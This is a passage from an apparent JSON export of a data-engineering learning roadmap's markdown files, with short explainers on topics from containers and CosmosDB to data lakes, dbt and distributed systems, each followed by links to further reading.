    "content": "# Containers & Orchestration\n\n**Containers** are lightweight, portable, and isolated environments that package applications and their dependencies, enabling consistent deployment across different computing environments. They encapsulate software code, runtime, system tools, libraries, and settings, ensuring that the application runs the same regardless of where it's deployed. Containers share the host operating system's kernel, making them more efficient than traditional virtual machines.\n\n**Orchestration** refers to the automated coordination and management of complex IT systems. It involves combining multiple automated tasks and processes into a single workflow to achieve a specific goal. Orchestration is one of the key components of any software development process and it should never be avoided nor preferred over manual configuration. As an automation practice, orchestration helps to remove the chance of human error from the different steps of the data engineering lifecycle. This is all to ensure efficient resource utilization and consistency.\n\nVisit the following resources to learn more:\n\n- [@article@What are Containers?](https://cloud.google.com/learn/what-are-containers)\n- [@article@Containers - The New Stack](https://thenewstack.io/category/containers/)\n- [@article@An Introduction to Data Orchestration: Process and Benefits](https://www.datacamp.com/blog/introduction-to-data-orchestration-process-and-benefits)\n- [@article@What is Container Orchestration?](https://www.redhat.com/en/topics/containers/what-is-container-orchestration)\n- [@video@What are Containers?](https://www.youtube.com/playlist?list=PLawsLZMfND4nz-WDBZIj8-nbzGFD4S9oz)\n- [@video@Why You Need Data Orchestration](https://www.youtube.com/watch?v=ZtlS5-G-gng)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/cosmosdb@goL_GqVVTVxXQMGBw992b.md",
    "content": "# CosmosDB\n\nAzure Cosmos DB is a native No-SQL database service and vector database for working with the document data model. It can arbitrarily store native JSON documents with flexible schema. Data is indexed automatically and is available for query using a flavor of the SQL query language designed for JSON data. It also supports vector search. You can access the API using SDKs for popular frameworks such [as.NET](http://as.NET), Python, Java, and Node.js.\n\nVisit the following resources to learn more:\n\n- [@official@What are Containers?](https://azure.microsoft.com/en-us/products/cosmos-db#FAQ)\n- [@official@CAzure Cosmos DB - Database for the AI Era](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)\n- [@article@CAzure Cosmos DB: A Global-Scale NoSQL Cloud Database](https://www.datacamp.com/tutorial/azure-cosmos-db)\n- [@video@What is Azure Cosmos DB?](https://www.youtube.com/watch?v=hBY2YcaIOQM&)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/couchdb@-IesOBWPSIlbgvTjBqHcb.md",
    "content": "# CouchDB\n\nApache CouchDB is an open source NoSQL document database that collects and stores data in JSON-based document formats. Unlike relational databases, CouchDB uses a schema-free data model, which simplifies record management across various computing devices, mobile phones and web browsers. In CouchDB, each document is uniquely named in the database, and CouchDB provides a RESTful HTTP API for reading and updating (add, edit, delete) database documents. Documents are the primary unit of data in CouchDB and consist of any number of fields and attachments.\n\nVisit the following resources to learn more:\n\n- [@official@CouchDB](hhttps://couchdb.apache.org/)\n- [@official@CouchDB Documentation](https://docs.couchdb.org/en/stable/intro/overview.html)\n- [@article@What is CouchDB?](https://www.ibm.com/think/topics/couchdb)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-analytics@V30v5RLQrWSMBUIsZQG1o.md",
    "content": "# Data Analytics\n\nData Analytics involves extracting meaningful insights from raw data to drive decision-making processes. It includes a wide range of techniques and disciplines ranging from the simple data compilation to advanced algorithms and statistical analysis. Data analysts, as ambassadors of this domain, employ these techniques to answer various questions:\n\n*   Descriptive Analytics _(what happened in the past?)_\n*   Diagnostic Analytics _(why did it happened in the past?)_\n*   Predictive Analytics _(what will happen in the future?)_\n*   Prescriptive Analytics _(how can we make it happen?)_\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Data Analytics](https://www.coursera.org/learn/introduction-to-data-analytics)\n- [@article@The 4 Types of Data Analysis: Ultimate Guide](https://careerfoundry.com/en/blog/data-analytics/different-types-of-data-analysis/)\n- [@article@What is Data Analysis? An Expert Guide With Examples](https://www.datacamp.com/blog/what-is-data-analysis-expert-guide)\n- [@video@Descriptive vs Diagnostic vs Predictive vs Prescriptive Analytics: What's the Difference?](https://www.youtube.com/watch?v=QoEpC7jUb9k)\n- [@video@Types of Data Analytics](https://www.youtube.com/watch?v=lsZnSgxMwBA)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-collection-considerations@wDDWQgMVBYK4WcmHq_d6l.md",
    "content": "# Data Collection Considerations\n\nBefore designing the technology archecture to collect and store data, you should consider the following factors:\n\n*   **Bounded versus unbounded**. Bounded data has defined start and end points, forming a finite, complete dataset, like the daily sales report. Unbounded data has no predefined limits in time or scope, flowing continuously and potentially indefinitely, such as user interaction events or real-time sensor data. The distinction is critical in data processing, where bounded data is suitable for batch processing, and unbounded data is processed in stream processing or real-time systems.\n*   **Frequency.** Collection processes can be batch, micro-batch, or real-time, depending on the frequency you need to store the data.\n*   **Synchronous versus asynchronous.** Synchronous ingestion is a process where the system waits for a response from the data source before proceeding. In contrast, asynchronous ingestion is a process where data is ingested without waiting for a response from the data source. Each approach has its benefits and drawbacks, and the choice depends on the specific requirements of the data ingestion process and the business needs.\n*   **Throughput and scalability.** As data demands grow, you will need scalable ingestion solutions to keep pace. Scalable data ingestion pipelines ensure that systems can handle increasing data volumes without compromising performance. Without scalable ingestion, data pipelines face challenges like bottlenecks and data loss. Bottlenecks occur when components can't process data fast enough, leading to delays and reduced throughput. Data loss happens when systems are overwhelmed, causing valuable information to be discarded or corrupted.\n*   **Reliability and durability.** Data reliability in the ingestion phase means ensuring that the acquired data from various sources is accurate, consistent, and trustworthy as it enters the data pipeline. Durability entails making sure that data isn’t lost or corrupted during the data collection process.\n\nVisit the following resources to learn more:\n\n- [@book@Fundamentals of Data Engineering](https://www.oreilly.com/library/view/fundamentals-of-data/9781098108298/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-engineering-lifecycle@Ouph2bHeLQsrHl45ar4Cs.md",
    "content": "# Data Engineering Lifecycle\n\nThe data engineering lifecycle encompasses the entire process of transforming raw data into a useful end product. It involves several stages, each with specific roles and responsibilities. This lifecycle ensures that data is handled efficiently and effectively, from its initial generation to its final consumption.\n\nIt involves 4 steps:\n\n1.  Data Generation: Collecting data from various source systems.\n2.  Data Storage: Safely storing data for future processing and analysis.\n3.  Data Ingestion: Transforming and bringing data into a centralized system.\n4.  Data Serving: Providing data to end-users for decision-making and operational purposes.\n\nVisit the following resources to learn more:\n\n- [@book@Fundamentals of Data Engineering](https://www.oreilly.com/library/view/fundamentals-of-data/9781098108298/)\n- [@article@Data Engineering Lifecycle](hhttps://medium.com/towards-data-engineering/data-engineering-lifecycle-d1e7ee81632e)\n- [@video@Getting Into Data Engineering](https://www.youtube.com/watch?v=hZu_87l62J4)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-engineering-lifecycle@w3cfuNC-IdUKA7CEXs0fT.md",
    "content": "# Data Engineering Lifecycle\n\nThe data engineering lifecycle encompasses the entire process of transforming raw data into a useful end product. It involves several stages, each with specific roles and responsibilities. This lifecycle ensures that data is handled efficiently and effectively, from its initial generation to its final consumption.\n\nIt involves 4 steps:\n\n1.  Data Generation: Collecting data from various source systems.\n2.  Data Storage: Safely storing data for future processing and analysis.\n3.  Data Ingestion: Transforming and bringing data into a centralized system.\n4.  Data Serving: Providing data to end-users for decision-making and operational purposes.\n\nVisit the following resources to learn more:\n\n- [@book@Fundamentals of Data Engineering](https://www.oreilly.com/library/view/fundamentals-of-data/9781098108298/)\n- [@article@Data Engineering Lifecycle](https://medium.com/towards-data-engineering/data-engineering-lifecycle-d1e7ee81632e)\n- [@video@Getting Into Data Engineering](https://www.youtube.com/watch?v=hZu_87l62J4)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-engineering-vs-data-science@jJukG4XxfFcID_VlQKqe-.md",
    "content": "# Data Engineering vs Data Science\n\nData engineering and data science are distinct but complementary roles within the field of data. Data engineering focuses on building and maintaining the infrastructure for data collection, storage, and processing, essentially creating the systems that make data available for downstream users. On the other hand, data science professionals, like data analysts and data scientists, uses that data to extract insights, build predictive models, and ultimately inform decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@Data Scientist vs Data Engineer](https://www.datacamp.com/blog/data-scientist-vs-data-engineer)\n- [@video@Should You Be a Data Scientist, Analyst or Engineer?](https://www.youtube.com/watch?v=dUnKYhripIE)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-fabric@-x3QLMYhC67VJQ6EW6BrJ.md",
    "content": "# Data Fabric\n\nA data fabric is a single environment consisting of a unified architecture with services and technologies running on it that architecture that helps a company manage their data. It enables accessing, ingesting, integrating, and sharing data in a environment where the data can be batched or streamed and be in the cloud or on-prem. The ultimate goal of data fabric is to use all your data to gain better insights into your company and make better business decisions. A data fabric includes building blocks such as data pipeline, data access, data lake, data store, data policy, ingestion framework, and data visualization. These building blocks would be used to build platforms or “products” such as a client data integration platform, data hub, governance framework, and a global semantic layer, giving you centralized governance and standardization\n\nVisit the following resources to learn more:\n\n- [@article@What is a data fabric?](http://ibm.com/think/topics/data-fabric)\n- [@article@Data Fabric defined](https://www.jamesserra.com/archive/2021/06/data-fabric-defined/)\n- [@article@How Data Fabric Can Optimize Data Delivery](https://www.gartner.com/en/data-analytics/topics/data-fabric)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-factory-etl@BNGdJSmrNE90rwPa4JoWj.md",
    "content": "# Data Factory (ETL)\n\nData Factory, most commonly referring to Microsoft's Azure Data Factory, is a cloud-based data integration service that allows you to create, schedule, and orchestrate workflows to move and transform data from various sources into a centralized location for analysis. It provides tools for building Extract, Transform, and Load (ETL) pipelines, enabling businesses to prepare data for analytics, business intelligence, and other data-driven initiatives without extensive coding, thanks to its visual, code-free interface and native connectors.\n\nVisit the following resources to learn more:\n\n- [@course@Microsoft Azure - Data Factory](https://www.coursera.org/learn/microsoft-azure---data-factory)\n- [@official@What is Azure Data Factory?](https://learn.microsoft.com/en-us/azure/data-factory/introduction)\n- [@official@Azure Data Factory Documentation](https://learn.microsoft.com/en-gb/azure/data-factory/)\n- [@official@Azure Data Factory Documentation](https://learn.microsoft.com/en-gb/azure/data-factory/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-generation@AWf1y87pd1JFW71cZ_iE1.md",
    "content": "# Data Generation\n\nData generation refers to the different ways data is produced and generated. Thanks to progress in computing power and storage, as well as technology breakthrough in sensor technology (for example, IoT devices), the number of these so-called source systems is rapidly growing. Data is created in many ways, both analog and digital.\n\n**Analog data** refers to continuous, real-world information that is represented by a range of values. It can take on any value within a given range and is often used to describe physical quantities like temperature or sounds.\n\nBy contrast, **digital data** is either created by converting analog data to digital form (eg. images or videos) or is the native product of a digital system, such as logs from a mobile app or syntetic data.\n\nVisit the following resources to learn more:\n\n- [@article@The Concept of Data Generation](https://www.marktechpost.com/2023/02/27/the-concept-of-data-generation/)\n- [@video@Analog vs. Digital](https://www.youtube.com/watch?v=zzvglgC5ut0)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-hub@OiWleAdMbPtisrJpk2eSJ.md",
    "content": "# Data Hub\n\nA **data hub** is an architecture that provides a central point for the flow of data between multiple sources and applications, enabling organizations to collect, integrate, and manage data efficiently. Unlike traditional data storage solutions, a data hub’s purpose focuses on data integration and accessibility. The design supports real-time data exchange, which makes accessing, analyzing, and acting on the data faster and easier.\n\nA data hub differs from a data warehouse in that it is generally unintegrated and often at different grains. It differs from an operational data store because a data hub does not need to be limited to operational data. A data hub differs from a data lake by homogenizing data and possibly serving data in multiple desired formats, rather than simply storing it in one place, and by adding other value to the data such as de-duplication, quality, security, and a standardized set of query services.\n\nVisit the following resources to learn more:\n\n- [@article@Data hub](https://en.wikipedia.org/wiki/Data_hub)\n- [@article@What is a Data Hub? Definition, 7 Key Benefits & Why You Might Need One](https://www.cdata.com/blog/what-is-a-data-hub)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-ingestion@CvCOkyWcgzaUJec_v5F4L.md",
    "content": "# Data Ingestion\n\nData ingestion is the third step in the data engineering lifecycle. It entails the process of collecting and importing data files from various sources into a database for storage, processing and analysis. The goal of data ingestion is to clean and store data in an accessible and consistent central repository to prepare it for use within the organization.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Ingestion?](https://www.ibm.com/think/topics/data-ingestion)\n- [@article@WData Ingestion](https://www.qlik.com/us/data-ingestion)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-interoperability@ghAbtfB5KtbboNjijL1Zf.md",
    "content": "# Data Interoperability\n\nData interoperability is the ability of diverse systems and applications to access, exchange, and cooperatively use data in a coordinated and meaningful way, even across organizational boundaries. It ensures that data can flow freely, maintaining its integrity and context, allowing for improved efficiency, collaboration, and decision-making by breaking down data silos. Achieving data interoperability often relies on data standards, metadata, and common data elements to define how data is collected, formatted, and interpreted.\n\nVisit the following resources to learn more:\n\n- [@article@Data Interoperability](https://www.sciencedirect.com/topics/computer-science/data-interoperability)\n- [@article@What is Data Interoperability? – Exploring the Process and Benefits](https://www.codelessplatforms.com/blog/what-is-data-interoperability/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-lake@y0Lxz_wVyQ6lr1hvCsufa.md",
    "content": "# Data lakes\n\n**Data Lakes** are large-scale data repository systems that store raw, untransformed data, in various formats, from multiple sources. They're often used for big data and real-time analytics requirements. Data lakes preserve the original data format and schema which can be modified as necessary.\n\nVisit the following resources to learn more:\n\n- [@article@Data Lake Definition](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-a-data-lake)\n- [@video@What is a Data Lake?](https://www.youtube.com/watch?v=LxcH6z8TFpI)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-lineage@pKewO7Ef3GBXL4MDK62QG.md",
    "content": "# Data Lineage\n\n**Data Lineage** refers to the life-cycle of data, including its origins, movements, characteristics and quality. It's a critical component in Data Engineering for tracking the journey of data through every process in a pipeline, from raw input to model output. Data lineage helps in maintaining transparency, ensuring compliance, and facilitating data debugging or tracing data related bugs. It provides a clear representation of data sources, transformations, and dependencies thereby aiding in audits, governance, or reproduction of machine learning models.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Lineage? - IBM](https://www.ibm.com/topics/data-lineage)\n- [@article@What is Data Lineage? - Datacamp](https://www.datacamp.com/blog/data-lineage)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-mart@c6Pf3kFcC4iV4a7mPc-WH.md",
    "content": "# Data Mart\n\nA data mart is a subset of a data warehouse, focused on a specific business function or department. A data mart is streamlined for quicker querying and a more straightforward setup, catering to the specialized needs of a particular team, or function. Data marts only hold data relevant to a specific department or business unit, enabling quicker access to specific datasets, and simpler management\n\nVisit the following resources to learn more:\n\n- [@article@What is a Data Mart?](https://www.ibm.com/think/topics/data-mart)\n- [@article@WData Mart vs Data Warehouse: a Detailed Comparison](https://www.datacamp.com/blog/data-mart-vs-data-warehouse)\n- [@video@Data Lake VS Data Warehouse VS Data Marts](https://www.youtube.com/watch?v=w9-WoReNKHk)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-masking@2Wu1Ufm2l1nrytz1mAxmJ.md",
    "content": "# Data Masking\n\nData masking is a process that creates a copy of real data but replaces sensitive information with false but realistic-looking data, preserving the format and structure of the original data for non-production uses like software testing, training, and development. The goal is to protect confidential information and ensure compliance with data protection regulations by preventing unauthorized access to real sensitive data without compromising the usability of the data for other business functions.\n\nVisit the following resources to learn more:\n\n- [@article@Data masking](https://en.wikipedia.org/wiki/Data_masking)\n- [@article@What is data masking?](https://aws.amazon.com/what-is/data-masking/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-mesh@D7qtosIbsQuIY3OWl_Hwc.md",
    "content": "# Data Mesh\n\nA data mesh is a modern approach to data architecture that shifts data management from a centralized model to a decentralized one. It emphasizes domain-oriented ownership, where data management aligns with specific business areas. This alignment makes data operations more scalable and flexible, leveraging the knowledge and expertise of those closest to the data. Data mesh is defined by four principles: data domains, data products, self-serve data platform, and federated computational governance.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Data Mesh? - AWS](https://aws.amazon.com/what-is/data-mesh)\n- [@article@What Is a Data Mesh? - Datacamp](https://www.datacamp.com/blog/data-mesh)\n- [@video@Data Mesh Architecture](https://www.datamesh-architecture.com/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-modelling-techniques@SlQHO8n97F7-_fc6EUXlj.md",
    "content": "# Data Modelling Techniques\n\nA data model is a specification of data structures and business rules. It creates a visual representation of data and illustrates how different data elements are related to each other. Different techniques are employed depending on the complexity of the data and the goals. Below you can find a list with the most common data modelling techniques:\n\n*   **Entity-relationship modeling.** It's one of the most common techniques used to represent data. It's based on three elements: Entities (objects or things within the system), relationships (how these entities interact with each other), and attributes (properties of the entities).\n*   **Dimensional modeling.** Dimensional modeling is widely used in data warehousing and analytics, where data is often represented in terms of facts and dimensions. This technique simplifies complex data by organizing it into a star or snowflake schema.\n*   **Object-oriented modeling.** Object-oriented modeling is used to represent complex systems, where data and the functions that operate on it are encapsulated as objects. This technique is preferred for modeling applications with complex, interrelated data and behaviors\n*   **NoSQL modeling.** NoSQL modeling techniques are designed for flexible, schema-less databases. These approaches are often used when data structures are less rigid or evolve over time\n\nVisit the following resources to learn more:\n\n- [@article@7 data modeling techniques and concepts for business](https://www.techtarget.com/searchdatamanagement/tip/7-data-modeling-techniques-and-concepts-for-business)\n- [@article@@articleData Modeling Explained: Techniques, Examples, and Best Practices](https://www.datacamp.com/blog/data-modeling)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-normalization@kVPEoUX-ZAGwstieD20Qa.md",
    "content": "# Database Normalization\n\nDatabase normalization is the process of structuring a relational database in accordance with a series of so-called normal forms in order to reduce data redundancy and improve data integrity. It was first proposed by Edgar F. Codd as part of his relational model. Normalization entails organizing the columns (attributes) and tables (relations) of a database to ensure that their dependencies are properly enforced by database integrity constraints. It is accomplished by applying some formal rules either by a process of synthesis (creating a new database design) or decomposition (improving an existing database design).\n\nVisit the following resources to learn more:\n\n- [@article@What is Normalization in DBMS (SQL)? 1NF, 2NF, 3NF, BCNF Database with Example](https://www.guru99.com/database-normalization.html)\n- [@video@Complete guide to Database Normalization in SQL](https://www.youtube.com/watch?v=rBPQ5fg_kiY)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-obfuscation@rUiYUV4ps6NYYYRwUnjuM.md",
    "content": "# Data Obfuscation\n\nStatistical data obfuscation involves altering the values of sensitive data in a way that preserves the statistical properties and relationships within the data. It ensures that the masked data maintains the overall distribution, patterns, and correlations of the original data for accurate statistical analysis. Statistical data obfuscation techniques include applying mathematical functions or perturbation algorithms to the data."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-pipelines@fqTPu70MJyXBmqYUgCJ_r.md",
    "content": "# Data Pipelines\n\nData pipelines are a series of automated processes that transport and transform data from various sources to a destination for analysis or storage. They typically involve steps like data extraction, cleaning, transformation, and loading (ETL) into databases, data lakes, or warehouses. Pipelines can handle batch or real-time data, ensuring that large-scale datasets are processed efficiently and consistently. They play a crucial role in ensuring data integrity and enabling businesses to derive insights from raw data for reporting, analytics, or machine learning.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Data Pipeline? - IBM](https://www.ibm.com/topics/data-pipeline)\n- [@video@What are Data Pipelines?](https://www.youtube.com/watch?v=oKixNpz6jNo)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-quality@cStrYgFZA2NuYq8TdWWP_.md",
    "content": "# Data Quality\n\nEnsuring quality involves validating the accuracy, completeness, consistency, and reliability of the data collected from each source. The fact that you do it from one source or multiple is almost irrelevant since the only extra task would be to homogenize the final schema of the data, ensuring deduplication and normalization.\n\nThis last part typically includes verifying the credibility of each data source, standardizing formats (like date/time or currency), performing schema alignment, and running profiling to detect anomalies, duplicates, or mismatches before integrating the data for analysis."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-quality@iuNP6W0A2GLTE2PK5y68u.md",
    "content": "# Data Quality\n\nData quality refers to the degree to which a dataset is accurate, complete, consistent, relevant, and timely, making it fit for its intended use. High-quality data is reliable and trustworthy, enabling better decision-making, accurate analysis, and effective strategies, while poor data quality can lead to flawed insights, wasted resources, and negative consequences for an organization.\n\nVisit the following resources to learn more:\n\n- [@article@What is Data Quality?](https://www.ibm.com/think/topics/data-quality)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-serving@RspQLpkICyHUmthLlxQ84.md",
    "content": "# Data Serving\n\nData serving is the last step in the data engineering process. Once the data is stored in your data architectures and transformed into coherent and useful format, it's time for get value from it. Data serving refers to the different ways data is used by downstream applications and users to create value. There are many ways companies can extract value from data, including training machine learning models, BI Analytics, and reverse ETL."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-storage@wydtifF3ZhMWCbVt8Hd2t.md",
    "content": "# Data Storage\n\nData storage is the process of saving and preserving digital information on various physical or cloud-based media for future retrieval and use. It encompasses the use of technologies and devices like hard drives and cloud platforms to store data.\n\nVisit the following resources to learn more:\n\n- [@article@What is data storage?](https://www.ibm.com/think/topics/data-storage)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-structures-and-algorithms@fqmn6DPOA5MH7UWYv6ayn.md",
    "content": "# DataStructures and Algorithms\n\n**Data Structures** are primarily used to collect, organize and perform operations on the stored data more effectively. They are essential for designing advanced-level Android applications. Examples include Array, Linked List, Stack, Queue, Hash Map, and Tree.\n\n**Algorithms** are a sequence of instructions or rules for performing a particular task. Algorithms can be used for data searching, sorting, or performing complex business logic. Some commonly used algorithms are Binary Search, Bubble Sort, Selection Sort, etc. A deep understanding of data structures and algorithms is crucial in optimizing the performance and the memory consumption of data pipelines\n\nVisit the following resources to learn more:\n\n- [@article@Interview Questions about Data Structures](https://www.csharpstar.com/csharp-algorithms/)\n- [@video@Data Structures Illustrated](https://www.youtube.com/watch?v=9rhT3P1MDHk&list=PLkZYeFmDuaN2-KUIv-mvbjfKszIGJ4FaY)\n- [@video@Intro to Algorithms](https://www.youtube.com/watch?v=rL8X2mlNHPM)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-warehouse@ArOoKuf9scAURs8NRjAru.md",
    "content": "# Data Warehouse\n\n**Data Warehouses** are data storage systems which are designed for analyzing, reporting and integrating with transactional systems. The data in a warehouse is clean, consistent, and often transformed to meet wide-range of business requirements. Hence, data warehouses provide structured data but require more processing and management compared to data lakes.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Data Warehouse?](https://www.oracle.com/database/what-is-a-data-warehouse/)\n- [@video@@hat is a Data Warehouse?](https://www.youtube.com/watch?v=k4tK2ttdSDg)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/data-warehousing-architectures@J854xPM1X0BWlhtJw7Hs_.md",
    "content": "# Data Warehousing Architectures\n\nData Warehousing Architectures refers to the different systems and solutions for storing data. Options include traditional data warehouse, data marts, data lakes and data mesh architectures."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/database-fundamentals@g4UC0go7OPCJYJlac9w-i.md",
    "content": "# Database fundamentals\n\nA database is a collection of useful data of one or more related organizations structured in a way to make data an asset to the organization. A database management system is a software designed to assist in maintaining and extracting large collections of data in a timely fashion.\n\nA **Relational database** is a type of database that stores and provides access to data points that are related to one another. Relational databases store data in a series of tables.\n\n**NoSQL databases** offer data storage and retrieval that is modelled differently to \"traditional\" relational databases. NoSQL databases typically focus more on horizontal scaling, eventual consistency, speed and flexibility and is used commonly for big data and real-time streaming applications.\n\nVisit the following resources to learn more:\n\n- [@article@Oracle: What is a Database?](https://www.oracle.com/database/what-is-database/)\n- [@article@Prisma.io: What are Databases?](https://www.prisma.io/dataguide/intro/what-are-databases)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@article@NoSQL Explained](https://www.mongodb.com/nosql-explained)\n- [@video@What is Relational Database](https://youtu.be/OqjJjpjDRLc)\n- [@video@How do NoSQL Databases work](https://www.youtube.com/watch?v=0buKQHokLK8)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/database@qRHeaD2udDaItAxmiIiUg.md",
    "content": "# Database\n\nA database is an organized, structured collection of electronic data that is stored, managed, and accessed via a computer system, usually controlled by a Database Management System (DBMS). Databases organize various types of data, such as words, numbers, images, and videos, allowing users to easily retrieve, update, and modify it for various purposes, from managing customer information to analyzing business processes."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/databricks-delta-lake@fhfyoWekmYvEs-jdP2mJo.md",
    "content": "# Databricks Delta Lake\n\nDelta Lake is the optimized storage layer that provides the foundation for tables in a lakehouse on Databricks. Delta Lake is open source software that extends Parquet data files with a file-based transaction log for ACID transactions and scalable metadata handling. Delta Lake is fully compatible with Apache Spark APIs, and was developed for tight integration with Structured Streaming, allowing you to easily use a single copy of data for both batch and streaming operations and providing incremental processing at scale.\n\nVisit the following resources to learn more:\n\n- [@book@The Delta Lake Series — Fundamentals and Performance](https://www.databricks.com/resources/ebook/the-delta-lake-series-fundamentals-performance)\n- [@official@What is Delta Lake in Databricks?](https://docs.databricks.com/aws/en/delta)\n- [@article@Delta Table in Databricks: A Complete Guide](https://www.datacamp.com/tutorial/delta-table-in-databricks)\n- [@video@Delta Lake](https://www.databricks.com/resources/demos/videos/lakehouse-platform/delta-lake)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/datadog@Zoa4JEGrSKjVwUNer4Go1.md",
    "content": "# Datadog\n\nDatadog is a monitoring and analytics platform for large-scale applications. It encompasses infrastructure monitoring, application performance monitoring, log management, and user-experience monitoring. Datadog aggregates data across your entire stack with 400+ integrations for troubleshooting, alerting, and graphing.\n\nVisit the following resources to learn more:\n\n- [@official@Datadog](https://www.datadoghq.com/)\n- [@official@Datadog Documentation](https://docs.datadoghq.com/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/dataflow@YWgVUyIvBRW8eTVR5y73P.md",
    "content": "# Dataflow\n\nDataflow is a Google Cloud service that provides unified stream and batch data processing at scale. Typical use cases for Dataflow include Data movement,ETL processes, BI dashboarding, and applying ML in real time to streaming data.\n\nVisit the following resources to learn more:\n\n- [@official@Dataflow](https://cloud.google.com/products/dataflow)\n- [@article@Dataflow](https://en.wikipedia.org/wiki/Google_Cloud_Dataflow)\n- [@video@What is Google Dataflow](https://www.youtube.com/watch?v=KalJ0VuEM7s)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/dbt@SgYLIkMtLVPlw8Qo5j0Fb.md",
    "content": "# dbt\n\ndbt, also known as the data build tool, is designed to simplify the management of data warehouses and transform the data within. This is primarily the T, or transformation, within ELT (or sometimes ETL) processes. It allows for easy transition between data warehouse types, such as Snowflake, BigQuery, Postgres, or DuckDB. dbt also provides the ability to use SQL across teams of multiple users, simplifying interaction. In addition, dbt translates between SQL dialects as appropriate to connect to different data sources and warehouses.\n\nVisit the following resources to learn more:\n\n- [@course@dbt Official Courses](https://learn.getdbt.com/catalog)\n- [@official@dbt](https://www.getdbt.com/product/what-is-dbt)\n- [@official@dbt Documentation](https://docs.getdbt.com/docs/build/documentation)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/declarative-vs-imperative@GyC2JctG-Gi0R_qx1lTeg.md",
    "content": "# Declarative vs Imperative\n\nWhen it comes to Infrastructure as Code (IaC), there are two fundamental styles: imperative and declarative.\n\nIn **imperative IaC**, you specify a list of steps the IaC tool should follow to provision a new resource. You tell your IaC tool how to create each environment using a sequence of command imperatives. Imperative IaC can offer more flexibility as it allows you to dictate each step. However, this can result in increased complexity. Popular imperative IaC tools are Chef and Puppet\n\nIn **declarative IaC**, you specify the name and properties of the infrastructure resources you wish to provision, and then the IaC tool figures out how to achieve that end result on its own. You declare to your IaC tool what you want, but not how to get there. Declarative IaC, while less flexible, tends to be simpler and more manageable. Terraform is the most popular declarative IaC tool\n\nVisit the following resources to learn more:\n\n- [@article@Infrastructure as Code: From Imperative to Declarative and Back Again](https://thenewstack.io/infrastructure-as-code-from-imperative-to-declarative-and-back-again/)\n- [@article@Declarative vs Imperative Programming for Infrastructure as Code (IaC)](https://www.copado.com/resources/blog/declarative-vs-imperative-programming-for-infrastructure-as-code-iac)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/distributed-file-systems@1LLF4466grFDlT9p_WLsi.md",
    "content": "# Distributed File Systems\n\nA Distributed File System (DFS) allows multiple computers to access and share files across a network as if they were stored on a single local machine. It distributes data across multiple servers, enhancing accessibility and data redundancy. This enables users to access files from various locations and devices, promoting collaboration and data availability.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Distributed File System (DFS)? A Complete Guide](http://starwindsoftware.com/blog/what-is-a-distributed-file-system-dfs-a-complete-guide/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/distributed-systems-basics@c1dadtQgbqXwcsQhI6de0.md",
    "content": "# Distributed Systems\n\nA distributed system is a collection of independent computers that communicate and coordinate to appear as a single unified system. They are widely used for scalability, fault tolerance, and high availability in modern applications. However, they bring challenges such as synchronization, consistency trade-offs (CAP theorem), concurrency, and network latency.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Distributed Systems](https://www.freecodecamp.org/news/a-thorough-introduction-to-distributed-systems-3b91562c9b3c/)\n- [@article@Distributed Systems Guide](https://www.baeldung.com/cs/distributed-systems-guide)\n- [@video@Quick overview](https://www.youtube.com/watch?v=IJWwfMyPu1c)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/docker@OQ3RqVgWEMxpAtrrjOG5U.md",
